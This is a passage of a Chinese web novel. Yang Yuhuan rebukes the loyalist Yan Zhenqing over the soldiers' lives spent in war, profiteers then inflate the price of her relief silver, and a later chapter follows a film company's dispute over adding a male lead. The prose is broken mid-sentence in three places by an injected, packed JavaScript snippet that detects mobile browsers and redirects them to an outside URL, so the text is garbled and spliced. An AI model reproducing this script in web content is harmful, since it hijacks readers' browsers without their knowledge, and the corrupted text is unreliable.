安禄山叛乱初起时,河北各郡望风而降,独他时任平原太守,暗中修缮城池招募士卒,在叛军声势最盛时,第一个举起反抗大旗。 他联络堂兄颜杲卿,兄弟二人互为犄角,牵制了叛军大量兵力,为大唐争取了宝贵的时间。 后来常山失陷,颜杲卿一家三十余口惨遭屠戮,他被推为河北盟主,辗转苦战,即便在最艰难的时刻,麾下士卒不足两千,粮草断绝,他也未曾想过投降。 再后来,局势越发混乱,他听说了马嵬坡的剧变,听说了上仙降世、杨玉环弑君、太子毙命,也听说了她入主长安,又听说了她抛下长安,只带五千兵马北上。 这些消息真真假假,传入他耳中时,早已面目全非,但他知道,这位传闻中的仙女娘娘,真的在向叛军盘踞的河北而来。 所以,他等在这里。 他要亲眼看一看,这位搅动了整个天下的女子,究竟是何等人物,究竟意欲何为。 这天晌午,斥候来报,一支约五千人的兵马正沿官道北上,打着“金吾卫”的旗号,为首者是一女子。 颜真卿整理衣冠,带着数名亲随,径直来到了官道中央,尘烟渐近,马蹄声隆隆,这支金吾卫在他前方百余步处缓缓停下。 只见女子策马出列,缓缓上前。她在他面前数步勒马,目光落在他脸上,轻轻唤了一声:“颜大人。” 颜真卿躬身,郑重行礼:“臣,颜真卿,见过贵妃娘娘。” “我已经不是贵妃了。”杨玉环否认。 颜真卿直起身,沉默片刻,抬眼望向她身后的军阵,又看回她:“娘娘此去北上,是要平叛么?” “自然。” “平叛之后呢?”颜真卿问,目光紧紧锁住她。 杨玉环微微挑眉:“什么意思?” 颜真卿看着她的神色,却是不明,于是开口问:“如今,先帝之子李英已在灵武登基,承继大统,先帝之弟李璘,虽在长安僭越登基,然终究是李唐宗室。娘娘既为仙女降世,救苦救难,平定叛乱后,不知属意辅佐哪位李唐宗亲,以正乾坤?” 这话一出,气氛骤变。 薛荣脸色一沉,手已按上刀柄,眼中杀机迸现,达奚瑜眉头紧蹙,看向颜真卿的目光也冷了下来,周围士卒也纷纷握紧了兵器。 这老匹夫,什么意思? 杨玉环是知道颜真卿的,他是位俊才能臣,亦是忠勇之辈,故而有几分尊敬。可她看着眼前这位以刚直忠烈闻名天下,此刻却拦路问出这般问题的老人,有些想笑,又觉得无奈。 “颜大人,”她缓缓道,“所以你这位李唐的忠臣,守在这里,是来劝我归还帝位?” 颜真卿面色不变,坦然道:“非也,娘娘如今并未身居帝位,何来归还?臣是来劝谏娘娘,既以仙力平叛,拯民于水火,事后当择贤明宗室辅佐,延续李唐社稷,如此方是正道,可保天下长治久安。” “择贤明宗室辅佐?”杨玉环重复了一遍,忽然轻笑出声,“颜大人,李隆基是我杀的,太子也是我杀的。现在,你让我从他们的子孙兄弟里,再挑一个出来,扶上那个位置?” 颜真卿迎着她的目光,说:“娘娘,昔日武皇也曾登临大宝,改国号为周,然晚年亦还政于李氏,复立中宗,可见神器有归,天下人心,终究思唐。” “想李唐立国百年,根基深厚,百姓以唐人为荣,此乃天命所向,不可轻易断绝,若女主临朝,恐非国家之福,易生内乱外患,天下之动荡,恐非百年不可平息……” “可见神器有归?可见天下人心思唐?”杨玉环大笑起来,“颜真卿,你不如直说,可见这天下,终究还是你们男人的天下?真是可笑!” 颜真卿沉默着,花白的胡须在风中微颤,但他挺直的脊背未有半分弯曲,他毫不在意杨玉环的嘲讽。 杨玉环的笑声戛然而止,她抽出腰间佩剑,剑锋直指颜真卿咽喉,冷声道:“颜真卿,你以为我不敢杀你?” “娘娘!”薛荣已拔刀出鞘半寸。 颜真卿身后的亲随更是吓得欲扑上来,却被他抬手制止。 面对近在咫尺的剑尖,颜真卿面色依旧平静,他缓缓抬起手,取下头上的进贤冠,捧在手中,然后深深一揖:“臣之性命,不足惜,若能以臣区区残躯,换得天下早日太平,社稷重归正道,臣,万死不辞。” 他抬起头,直视杨玉环,继续道:“可娘娘,李唐百年基业,煌煌气象,非是轻易可替,百姓久受唐恩,亦难改其志。此非为一姓之私,实为天下万民计也!” 杨玉环持着剑,她看着眼前这张苍老却坚毅的脸,看着他那双毫无畏惧的眼睛。 若他是个贪赃枉法、欺压百姓的污吏,她可以毫不犹豫地一剑杀之,若他是个见风使舵、趋炎附势的小人,她亦不屑多言取他性命。 可他偏偏是颜真卿。 是那个在叛军铁蹄下坚守孤城,兄长满门被屠仍死战不降的颜真卿;是那个散尽家财与士卒同甘共苦的颜真卿。 杀他容易。 但杀了之后呢?杀了一个颜真卿,就能斩断这天下所有颜真卿心中的那套道理吗? 杨玉环忽然觉得很累。 她收回了剑。 颜真卿眼中闪过一丝讶异。 “颜真卿,”杨玉环恢复了平静,“你自以为忠君爱民,是一等一的忠臣。我且问你,你自守城抗叛以来,麾下士卒、城中百姓,死了多少?” 面对这个问题,颜真卿却沉默许久,才哑声道:“大小数十战,直接战殁者,连同染病伤亡、城破罹难的百姓,不下万余……” “不下万余人,那我继续问你,史书上会记你颜真卿的忠勇,还是记他们每一个人的名字?” “史笔如铁,当会记臣等守土之责、抗贼之勇,至于士卒百姓,或许,一笔带过……” “或许?”杨玉环逼问,“还是根本一字不提?” 颜真卿的嘴唇抿成一条直线,良久,才吐出两个字:“不提。” “好。”杨玉环点点头,“那么这一万余战死、病死的士卒百姓,他们的家眷,朝廷可有抚恤?你治下的州府,可能保其父母妻儿温饱,不受欺凌?” 颜真卿闭上了眼睛,脸上肌肉微微抽动,显出痛苦之色:“朝廷自顾不暇,赏赐抚恤时有断缺,州府存粮库银,历年耗于战事,实在,实在不足周全所有遗属……” 他的声音越来越低,最后几不可闻,这是他心中一直以来的隐痛,是他忠君报国大义之下,无法忽视的鲜血。 “所以,”杨玉环的声音又传了来,“你用这一万余条人命,铺就你忠臣良将的锦绣前程,换取你史书上的千秋美名。而他们的父母妻儿,在失去顶梁柱后,是死是活,是冻是饿,与你无关,与朝廷无关,与史书更无关。因为——实在不足周全,对吗?” “臣绝非为了前程!”颜真卿猛地睁开眼,眼中血丝隐现,极力辩解道,“唯有如此,才能守住这一方城池,护住这几十万百姓不被叛军屠戮!臣之心,可昭日月!” “我信。”杨玉环出乎意料地点了点头,“我信你颜真卿不是为了个人前程,我也信,你确实想守住城池,保护百姓。” 她话锋一转,又问:“可结果呢?皇帝昏聩致使叛军作乱,叛军杀来,有你这样的贤臣挺身而出,聚集百姓,以血肉之躯去抵挡铁蹄。” “打退了叛军,或者打不退,总之死了很多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928054|191074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,然后呢?你去劝谏皇帝,皇帝或许悔改了,或许没有,但史书上,一定会记下你们这段君臣相得力挽狂澜的佳话。” “至于那些被叛军杀掉的百姓,那些被你,被其他贤臣当作燃料消耗掉的士卒……”杨玉环目光如刀,剜在颜真卿脸上,“他们去哪了?他们的血泪,去哪了?” “皇帝一句朕之过也,或者干脆连这句都没有,你们这些忠臣良将,一番痛心疾首慷慨陈词,然后,一切照旧。该死的死了,该活的继续活,该歌颂的被歌颂。” “颜真卿,你们自然是高高在上的。眼里看得见江山社稷,看得见君臣大义,看得见青史留名,唯独看不见,那层层叠叠堆积在你们脚下的无数无名百姓的白骨!” “现在,你来问我,凭什么不扶李唐宗室?凭什么女人不能坐天下?”杨玉环向前逼近一步,虽然收起了剑,但气势却比刚才持剑时更盛。 “那我倒要问问你,凭什么?凭什么他们李家的江山,要用这么多百姓的血来填?凭什么他们搞砸了天下,还要我们来替他们收拾烂摊子,然后再恭恭敬敬地把收拾好的江山,双手奉还给他们的子孙?” “颜真卿,你告诉我,凭什么?” 颜真卿站在原地,脸色煞白,他张了张嘴,想说什么,可他什么都说不出来,他又想起来了那些他亲眼见过的破碎家庭,听过的孤儿寡母的哭泣,那些被他压在心底、用不得已、大局为重掩盖的惨状,此刻汹涌翻腾,几乎要将他淹没。 他试图寻找理由,寻找那个支撑了他一生的“道”的基石,却发现基石之下,是森森白骨,是无声血泪。 最终,他颓然垂首,仿佛一瞬间苍老了十岁,从喉咙里挤出几个字:“自古皆然,臣亦不知……还有何法……” “自古皆然?”杨玉环嗤笑一声,“所以就要一直如此?所以他们的命就活该轻贱?所以我们就该认命?” 她不再看他,转身,背对着这位名满天下的忠臣:“颜真卿,这套说辞,我已经不想听了。” “念在你抗击叛军,多少保全这一方百姓,也有许多苦劳的份上,我不杀你。” 她侧过头,对薛荣道:“给他留下一百万两银子。” 薛荣愕然:“娘娘?” “让他亲眼看看,也让他治下的百姓看看,”杨玉环翻身上马,声音随风传来,“什么才叫真正的抚恤,什么才叫把百姓当人看!” “颜真卿,你就用这一百万两,去好好周全一下你口中那些不足周全的遗属吧!看看他们的命,到底值不值钱!” “也让天下人都看看,我杨玉环要走的是什么路!” 说罢,她一夹马腹,骏马嘶鸣,率先向北驰去。 “跟上!”薛荣虽不解,但对杨玉环的命令毫无迟疑,立刻挥手,达奚瑜深深看了呆立原地的颜真卿一眼,目光复杂,也策马跟上。 五千人的队伍,绕过僵立在官道中央的颜真卿及其亲随,继续向北行进,这五千人走过时,每一下脚步声,都敲打在颜真卿的心上。 亲随们慌忙上前扶住他:“大人!您没事吧?” 颜真卿推开搀扶的手,独自站着,他望着那支逐渐远去的队伍,望着那个一骑当先的女子背影,久久不语。 风卷起尘土,迷了人眼,一百万辆银子,几十辆大车,被沉默地留在了他面前,那个女子,那个女子…… 自古皆然? 真的……别无他法吗? 他缓缓抬起手,接住一片被风卷起的枯叶,握在掌心,用力,直至其化为齑粉。 他究竟,守护了什么? 又究竟,辜负了什么? 第一次,颜真卿一直挺直的脊背弯了下来。 他不明白。 32.第 32 章 颜真卿病倒了。 在那天见过杨玉环,带着那一百万两银子回到治所后,第二天就病倒了。 这场病来得又急又重,高烧不退,昏沉间,那些白骨、血泪,还有杨玉环北去的背影,如同走马灯般在他脑海中反复出现,搅得他心神俱裂,不得安宁。 大夫说是急火攻心,外加连日劳累,风寒侵体,得静养。可他这颗心,怎么也静不下来,反倒烧得他通体滚烫,一颗心滋拉着痛。 他是病了,可那一百万两还在呢。 不过两三日功夫,他病榻前便围坐了不少闻讯赶来的下属官吏、地方乡绅,以及一些闻风而动的体面人。 房间里弥漫着浓重的药味,颜真卿半倚在枕上,脸色灰败,眼窝深陷,他知道他们的来意。 他强打着精神,对众人道:“这笔银子,是那位娘娘留下的。娘娘说了,须用于抚恤抗贼战殁将士之遗属,以及遭兵祸牵连的百姓……” 一句话说完,他歇了好久。 又说:“此事,关乎朝廷……不,关乎百姓,必须落到实处,一分一厘,也不能挪作他用,更不能中饱私囊一分一毫!” 他说完这话,把眼睛望向众人,只是高烧将他烧的有些迷糊,似乎眼睛里都是重影,看不清这些人。 他话音刚落,就听见这些人齐声称是。 就算他看不见,下面人还是拱手行礼,一脸诚恳地接话:“大人高义,体恤下情,我等感佩,只是……” “大人,如今兵荒马乱,道路不靖匪患丛生,那些遗属,多是妇孺老弱,骤然得了这许多银钱,怕不是福,反是祸端,万一引来歹人觊觎,岂非害了她们?” “这……”颜真卿似乎有些迷糊了。 就听见另一人附和道:“正是此理!况且银钱虽好,却不能直接果腹。如今市面粮价腾贵,她们拿了银子去粮铺,恐怕也买不到多少米面,岂不是白白让那些奸商盘剥?” “依下官浅见,不如由官府出面,将这银钱置换成粮食,再按册分发,如此,既免了她们的风险,又让银子实实在在变成了活命的东西,岂不两全?” 这似乎也有几分道理,颜真卿想开口,又觉得脑子昏沉沉的,很久之后,他才迟疑问道:“由官府统一采买发放?” “大人,”先前那人又开口,“若任由百姓们零星购买,粮商坐地起价,恐百万两银子也支撑不了多久,难以普惠众人。” “不如由官府与大粮行协调,请他们以稍低之价售粮,再由官府统一调配按户发放。如此,粮商得了生意,百姓得了实惠,银子也花在了刀刃上,此乃官民两便之举啊!” 周围众人纷纷点头称是,颜真卿听着,只觉得太阳穴突突直跳,眼前一阵阵发黑。 他知道市面粮价高昂,知道百姓艰难,也知道由官府统一操办似乎效率更高,他更知道,自己此刻病体沉重,精力不济,实在无力去细细追查每一两银子的去向。 可他能怎么办呢? 向来不是如此吗? 他疲惫地闭上眼睛,半晌,才点了点头,道了句:“准。” “大人英明!”众人齐声道。 待众人退去了,颜真卿又躺在病床上,他心里发了狠,这笔钱他一分一毫都不会贪用的,他一定要花在百姓身上,他一定要…… 他又晕了过去。 几日后,城中最好的酒楼,最隐秘的雅间里。 窗扉紧闭,挡住了外面的喧嚣,桌上摆着几碟精致的时新小菜,一壶温好的酒,却几乎无人动筷。 围桌而坐的,是城中五六家最大粮行的掌柜,个个衣着光鲜,面容富态,只是此刻神色间都带着几分心照不宣的热切。 “诸位,”坐在上首的赵大掌柜端起酒杯,轻轻呷了一口,目光扫过众人,“颜大人那边传出来的消息,想必大家都清楚了。” “清楚了,清楚了。”旁边钱掌柜立刻接口,“一百万两雪花银啊,啧啧,真真是大手笔。” 孙掌柜放下筷子,压低声音:“这笔银子,谁看了不眼热?不过,这城里如今太平光景,咱们几家能有今日,也多亏了颜大人领着兵守住了城,挡住了史思明的刀,这份情,咱们得念。” “念,自然要念!”李掌柜连忙表态,胖脸上堆起笑容,“颜大人是咱们的父母官,是咱们的护身符,他老人家要办事,咱们鼎力支持,绝不含糊!” “正是此理!”众人纷纷附和。 周掌柜捻着胡须,慢悠悠地开口:“情分归情分,生意归生意。颜大人体恤百姓,咱们也敬佩。只是这粮价……” “如今该怎么算,怎么定,还得有个章程,总不能乱了行市吧?” 这话说到了关键处,所有人都静了一息。 钱掌柜咳嗽一声,又道:“周掌柜说得在理,这事,咱们几家可都得通个气,步调得一致。若是有人想私下里……那后果,大家都是明白人。” “明白,明白!”众人脸色微凛,连连点头。 在这乱世,能做成大粮商的,背后谁没有点倚仗?谁又真敢独自吞下这天大的好处,得罪了其他家? “咱们的良心要有,生意也要做。”孙掌柜叹了口气,像是很感慨,“颜大人是不容易,带着咱们在这乱世里求个安稳。他既然要办这抚恤的善事,咱们肯定得支持,粮价上自然也得给些实惠……” “给实惠是应当的,”赵大掌柜放下酒杯,手指敲了敲桌面,“可诸位也得想想,如今是什么光景?北边范阳战乱又起,南边道路时通时断,漕运早就停了。” “咱们库里的存粮,那是卖一斗少一斗,补货?难啊!从江南运粮过来,一路上关卡林立,损耗惊人,还得打点各处,这成本,可不是太平年月能比的!” “是啊,”周掌柜接口,“这粮食,如今是稀缺物。物以稀为贵,自古皆然。咱们若是按太平年间的价钱卖给官府,别说赚钱,怕是连本钱都收不回来,长此以往,咱们这几家铺子,怕是也得关门大吉了。铺子关了,往后城里百姓吃什么?颜大人又从哪里调粮?” 这番话说得冠冕堂皇,合情合理。 众人交换着眼色,心中都有了计较。 最后,还是赵大掌柜一锤定音:“这样吧,咱们也体谅颜大人的难处,体恤百姓的苦楚。主粮就按太平年间市价的五倍结算,全当是为颜大人分忧,为这满城百姓积德。” 五倍。 没有人反对。 随后,几个人饮尽了杯中酒,这事就这么定了。 这个粮价,很快传回了颜真卿病榻前,来禀报的属官低着头,念完了与几家粮行磋商后的结果。 颜真卿闭着眼,胸膛微微起伏,没有说话,他的脑子烧的更晕了,许久后,他才睁开眼,眼中布满了血丝,他像是被抽走了力气,连咳嗽都显得有气无力。 五倍。 一百万两银子,瞬间贬值成二十万两。 可,那些粮商背后的东家,哪一个不是与世家大族、地方豪强有着千丝万缕的联系? 他颜真卿能守城,能抗贼,能在战场上与叛军拼杀,却未必能动得了这群盘根错节的人,闹的狠了,一粒粮食都没了,怎么办? 他想起了杨玉环那句质问:“凭什么他们李家的江山,要用这么多百姓的血来填? 他张了张嘴,想说什么,却什么也没说。 “就按他们说的价吧。”他道,“不过,传我的话,主粮只购一半,另一半全部换成麦麸、豆粕、杂粮,但凡能入口顶饿的东西,都行。” 属下愕然抬头:“大人,这麸糠之类,多是牲畜……” “我知道!”颜真卿打断他,“我知道那是牲口吃的!可那也是粮食!一百万两,若全买细粮,能分到几个人手里?几天吃完?” 他喘着气,眼中闪过痛楚:“掺上麸糠杂粮,虽然难以下咽,但分量多了,能撑得更久些……” “除了登记在册的遗属,城中的鳏寡孤独,实在过不下去的贫户,也酌情分一些吧,能多活一个是一个……” 属下看着病榻上形销骨立,一夜之间彻底苍老的颜真卿,喉头哽咽,最终深深一揖:“属下遵命。” 于是,一百万两雪花银,涌向了那几家粮行。换回来了一车车麻袋,被官兵押送着运往各城各县,再分到各乡各里各村。 * 城外三十里,一个饱破败村落。 村东头,那间用茅草修补了屋顶的土坯房里,住着刘婆子和她七岁的小孙子狗儿。 刘婆子的儿子、儿媳,都在去年叛军的一次劫掠中被杀了,只剩下一老一小,守着两亩旱地,挣扎求生。 这天,久未露面的老村长,深一脚浅一脚地来到了刘婆子家门前,身后跟着两个后生,推着一辆吱呀作响的独轮车。 “刘家婆子!”村长在门外喊。 刘婆子颤巍巍地开了门,见是村长,先是一愣,随即有些惶恐:“村长,您怎么来了?可是……可是又要摊派?” 村长脸上挤出一丝苦笑,摆了摆手:“不是摊派,是好事!城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这两个麻袋里,九成多是麦糠豆粕,只有不足一成能勉强称得上粮食。 刘婆子扒拉的手停住了,她看了很久很久,然后慢慢将袋口重新系好,还拍了拍麻袋上的灰,让袋子干净些。 “奶奶……”狗儿仰着小脸,小心翼翼地问,“是白面馍馍吗?” 刘婆子低下头,看着孙子,伸手,粗糙的手掌摸了摸狗儿稀疏枯黄的头发,扯出一个笑:“不是白面馍馍,狗儿乖,今晚奶奶给你熬糊糊吃……” 狗儿似懂非懂地点点头,咽了口唾沫,他饿了,自从爹娘死后,他再也没有吃饱过了,他肚子里空的很,搅得胃疼。 晚上,刘婆子舀出来的一大勺“粮食”,加满了水,开始熬糊糊,柴火潮湿,冒着呛人的烟,火苗又微弱。 她蹲在灶前,小心地拨弄着罐子,很久后,终于等糊糊熬好了,刘婆子盛了一碗,先递给眼巴巴等着的狗儿。 狗儿迫不及待地接过,也顾不上烫,低头就喝了一大口。下一秒,他的小脸皱成了一团,那糊糊粗糙无比,满是扎口的糠壳,吞咽时刮得嗓子生疼,味道又苦又涩,还带着一股霉味。 他想吐出来。 “别吐!”刘婆子急声道,声音带着哭腔,“狗儿乖,咽下去!这可是粮食,吐不得,吐了就没得吃了!” 狗儿被奶奶的样子吓住了,硬生生忍住了呕吐的冲动,小脸憋得通红,他低下头,看着碗里黑乎乎的东西,吸了吸鼻子,一小口一小口得开始吞咽。 刘婆子在一旁看着,别过头去,用袖子使劲擦了擦眼睛。等狗儿吃完了那一碗糊糊,他放下碗,肚子有些发胀,他应该是吃饱了。 刘婆子拿过孙子的碗,碗壁上还沾着些许残渣,她高举着碗,伸着头,小心翼翼地将那些残渣舔得干干净净,直到没有一丝残渣了,才舍得放下碗。 等到夜里睡觉的时候,刘婆子将门栓顶紧了,又拿了块木棍放在床边防身,她床底下,正是那两麻袋粮食。 白天里村长来送粮,所有人都知道,她家里多了粮食,她不能睡的太沉了,她握紧了木棍,她得守好这救命粮,狗儿还得活命呢。 土坯房外,北风呼啸。 * 颜真卿的病,似乎好点了。 他躺在病榻上,听着下属说粮食都派送到了,没漏下一户人家,他点点头,问:“粮食,你都查验过了?” “属下偷偷安排了人抽查过,按照您的吩咐,一半是主粮一半是粗粮,大部分是合格的,只是有些……” “唉。”颜真卿长叹了口气。 他知道,这是那些人惯用的手段,说是五成对半分,但肯定是对不上的,以他看,那些粮食里能有四成是主粮就不错了。 不过,百姓总算能多口吃得了。 他这颗心,总算好受一些了。 颜真卿的病,果然好些了。 33.第 33 章 郝美丽一走,一个多月杳无音信。 公司照常运转,训练基地里,五十个新人依旧每日早起晚归,手上的茧子磨破了又长,马术、格斗,一切按部就班,枯燥却又充实。 但人心到底不是机器。 晏山槐作为第一个,也是目前唯一一个与郝美影视正式签约的艺人,自然成了所有人的焦点。 签约那天,晏山槐从郝美丽办公室出来时,手里那份薄薄的合同,烫得某些人的眼睛发疼。 “运气真好啊,第一个吃螃蟹的。”训练间隙,有人靠在墙边喝水,声音不高不低,刚好能让旁边几个人听见,“听说那天在郝总办公室待了挺久?都聊什么了?传授传授经验呗。” “能聊什么,表忠心呗,听说她还说了我愿意成为您的人这种话,啧啧,这话我可说不出口。”这话出来,引来几声低低的窃笑。 晏山槐擦汗的手顿了顿,然后将毛巾搭在脖子上,拧开自己的水壶,仰头灌了几口,她没回头,也没接话,像没听见,汗水顺着她鬓角滑下,滴在地上。 她晏山槐从群演走到现在,靠的是吃苦下功夫,她抓住了机会,说出了自己想说的话,至于别人怎么想,她不在乎,也没空在乎。 她只想变得更强,强到郝美丽非她不可,强到能握住可能到来的任何角色。流言蜚语?不过是尘埃,拍掉就是了。 直到那个叫李嘉豪的男演员找上她。 那是个傍晚,训练结束,晏山槐独自在器械区加练核心力量,李嘉豪不知何时走了过来,抱着手臂,靠在单杠旁,俯视着她。 “晏山槐,”他开口,“听说了吗?公司内部消息,《凤起长安》这个项目,女一号八成就是你了。” 晏山槐从仰卧起坐板上坐起,气息微喘,看了他一眼,没说话,拿起地上的水壶,喝了两口。 李嘉豪对她的沉默不以为意,自顾自往下说:“大女主戏,扛收视率的,压力可不小啊。不过你有郝总赏识,问题不大。” 他往前凑了凑,压低声音又说道:“不过这种戏,女一号再强,也得有合适的男角色搭着才能出彩,观众也爱看。你看那些爆款剧,哪个不是男女主CP感足?” 晏山槐拧上瓶盖,依旧沉默。 李嘉豪脸上笑容不变,眼神里却多了几分别的东西,热切的盯着她,道:“我觉得我外形气质,都挺适合古装,演技也磨了这么多年了。” “山槐,咱们也算同期进来的,以后你要是真上了,需要男演员搭戏可以考虑推荐我,我不挑,男一、男二、男三都行,给你作配,你看怎么样?” 他说完,晏山槐终于站起身,拍了拍手上的灰。她比李嘉豪矮半个头,站直了,平静的看着他,道:“戏怎么拍,角色怎么定,我听公司的安排。” 然后,她拎起外套搭在肩上,转身就走,没再多给李嘉豪一个眼神。李嘉豪脸上的笑容瞬间僵住,慢慢沉了下来,盯着晏山槐离开的背影,眼神阴鸷。 他自觉已经给足了面子,甚至愿意屈尊给她做配角,这女人居然这么不识抬举?看不起他? “妈的,装什么清高,背地里不知道怎么舔郝总呢。”他低低啐了一口,恼羞成怒起来,不给面子是吧?那就别怪他用自己的方式争取。 机会很快来了。 郝美丽迟迟不归,公司日常事务由王硕主持,李嘉豪看准时机,暗中串联了几个平时关系不错,也对自身前景有些焦虑的男演员,一起找到了王硕。 “王制片,我们听说《凤起长安》的剧本,是个纯粹的大女主剧?”李嘉豪作为代表,语气很是忧心忡忡,“我们不是对女性主角有意见,只是从市场角度考虑,现在纯大女主一点感情线都不沾的剧,播出的效果可能没那么乐观啊……” 旁边一人立刻接上:“是啊王制片,我们天天这么苦练,也是希望项目能火,如果有一个出彩的男一号,剧情会更丰富,也更容易吸引观众,带动话题和收视率。这对公司、对项目、对我们所有人,都是好事啊。” 王硕推了推眼镜,看着眼前几张年轻又急切的脸,他混迹行业多年,深知市场规则,李嘉豪的话虽然带着私心,但并非全无道理。 纯粹的大女主历史正剧,投资巨大,风险也高,若有一个能撑起戏份的男性角色,无论是从观众接受度,还是商业回报上,确实都更稳妥。 “剧本是林编剧在负责,她的创作理念比较坚持……”,王硕斟酌着开口。 “我们可以向林编剧建议嘛!”李嘉豪立刻道,“都是为了项目好。王制片您经验丰富,也可以指导一下,加一个男一号演一些感情戏,只要戏份不超过女主,不就可以了?” 王硕沉吟片刻,点了点头:“行,你们的想法我知道了,我会和林编剧沟通一下,看看剧本有没有调整的空间。” 得到王硕的默许,李嘉豪心中一定,走出办公室,他脸上的担忧一扫而空,取而代之的是一丝得意。 不过,这还不够。 他又开始在男学员中散布消息,开始暗示这家公司有“重女轻男”的倾向,这样下去他们这些男演员的前途可没了! “咱们天天摔打流汗,图什么?不就图个机会?现在剧本这么偏,以后能有我们多少发挥余地?” “得让上面听到我们的声音!” “女生那边有郝总看重,我们男生也得团结起来,争取该有的权益!” 很快,大部分男学员都被这种情绪裹挟,训练时开始心不在焉,私下议论纷纷,李嘉豪俨然成了他们的代表。 王硕察觉到了训练基地气氛的变化,试图安抚,强调公司对所有学员一视同仁,项目还在筹备阶段,角色未定,让大家专心训练。 但怀疑的种子一旦种下,简单安抚已经无法遏止其生长,男学员们想要更确切的承诺,想要看到“加男一号”以及更多男性角色这件事被提上议程。 矛盾终于在王硕找到林香凝时,摆上了台面。 “林编,剧本我看过了,非常出色,”王硕先肯定了一句,然后话锋一转,“不过,从市场的角度,我们是不是可以考虑,增加一个男性角色?比如女主的前夫寿王?或者……” 林香凝闻言抬起头,反对道:“王制片,我们当初和郝总沟通的,就是这个以杨玉环为核心,讲述女性在乱世中挣脱枷锁自我成长的故事。现在加入一个所谓的男性角色,无论以什么名义,都会分散主线,削弱主题。” “我理解你的创作理念,”王硕试图解释,“但完全剔除男性角色,观众接受度、播出平台的意见,还有后续的商业开发,可能都会面临挑战,我们不是要削弱女主,而是让故事更丰满,受众更广……” “丰满?”林香凝放下手中的笔,声音提高了一些,“王制片,你觉得一个女性挣脱千年压迫的故事,需要一个男性角色来帮她丰满?你觉得观众只能通过男女互动来理解人物的成长?这是创作上的懒惰,也是对市场,对观众的偏见!” “林编,你别激动,我们是在讨论项目的可行性……” “可行性就是忠于我们最初设定的核心!”,林香凝毫不退让,“郝总找我来,就是要做不一样的东西,如果为了所谓的市场就妥协核心,那和别的剧有什么区别?” 两人的争执没有结果,不欢而散。 消息很快传开。李嘉豪得知林香凝的强硬反对后,非但没有气馁,反而觉得机会来了,他在学员中,特别是男学员中更加活跃地游说。 “大家都看到了吧?林编剧根本听不进合理建议!她只在乎自己的喜好,要拿整个公司的投资、我们所有人的前途,去满足她个人的创作欲!” “女人就是容易感情用事,不顾大局!郝总不在,她就真以为自己能一手遮天了?” “我们必须团结起来,让管理层看到我们的集体意见!加一个男一号,合情合理,对项目有百利无一害!这是为了公司好!” 在他的煽动下,男学员们的不满情绪达到顶点。在一次集体训练后,他们没有像往常一样解散,而是聚集在训练场边,要求王硕给出明确答复。 王硕被围在中间,额头见汗。 李嘉豪站在前面,侃侃而谈。 “王制片,我们不是无理取闹,现在大女主剧,哪部没有出彩的男一号男二号?适当的感情线,是市场的需求,是流量的保障!我们提议增加男一号,是从公司利益出发!” 王硕内心其实已被说动大半,他看着眼前群情激动的年轻人们,又想到林香凝的固执,叹了口气,转向一直沉默的林香凝,带着商量口吻:“林编,你看,大家的意见也有道理,要不,我们折中一下?加一个男一号,但戏份明确少于女一号,保证女主的核心地位不动摇,这样既照顾了创作,也考虑了市场?” 林香凝脸色发白,紧紧攥着手中的笔记本,她看着王硕,看着那些激动的男学员,看着沉默的女学员。 她张了张嘴,想反驳,想重申她的理念,但最终,只是倔强地吐出一句:“郝总从来没说过要加男一号。” 李嘉豪立刻抓住话柄,声音拔高:“郝总也没说过绝对不能加男一号!公司运营要讲现实,讲效益!不能因为某个人的个人偏好,就让整个项目冒险,让我们所有人的努力白费!王制片,您说是不是?” 王硕抿着唇,没有立刻回答,沉默起来。 一直站在人群边缘的晏山槐,忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938412|191074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然向前一步,说道:“郝总当初找林编剧来,明确说过要做一部以女性视角的故事。如果为了所谓的市场就改变初衷,那当初何必找林编剧?” 李嘉霍然转头,盯着晏山槐,冷笑一声:“晏山槐,你当然帮着林编剧说话,谁不知道你是第一个签约的?你们女人当然抱成一团,生怕别人分了你们的蛋糕!” 晏山槐眉头一皱,声音沉了下来:“我只是说事实。” “事实?”李嘉豪像是抓住了什么把柄,环视周围男学员,语气带着讥讽,“看看,说两句就急了,女人啊,就是容易感情用事,一涉及自己的利益就跳脚,还谈什么专业?谈什么大局?” 晏山槐脸色一寒,攥紧了拳头。 就在这时,林香凝轻轻按住了她的手臂,对她微微摇头,晏山槐深吸一口气,终究没再说话,只是冷冷地看着李嘉豪。 李嘉豪眼底闪过一丝得意。 就在他准备继续慷慨陈词时—— “砰!” 训练场入口处的门被推开。 所有人的目光被吸引过去。 郝美丽穿着一身简单的黑色便装,风尘仆仆,脸上带着长途跋涉后的倦色,目光扫过全场,她身后跟着十几名穿着安保制服的壮汉。 刚才还嘈杂喧闹的训练场,刹那间鸦雀无声。 郝美丽一步步走进来,脚步声在空旷的场馆里清晰可闻,她先看了一眼被围在中间脸色尴尬的王硕,又看了一眼被孤立的林香凝两人,最后,目光落在站在最前面的李嘉豪身上。 “郝总!”王硕如蒙大赦,连忙上前。 郝美丽抬手,止住了他的话头,她径直走到人群中央,站定,说:“我刚回来,就听说挺热闹。” 她话音落下,目光再次扫视一圈,每一个被她看到的人都不自觉地低下头。 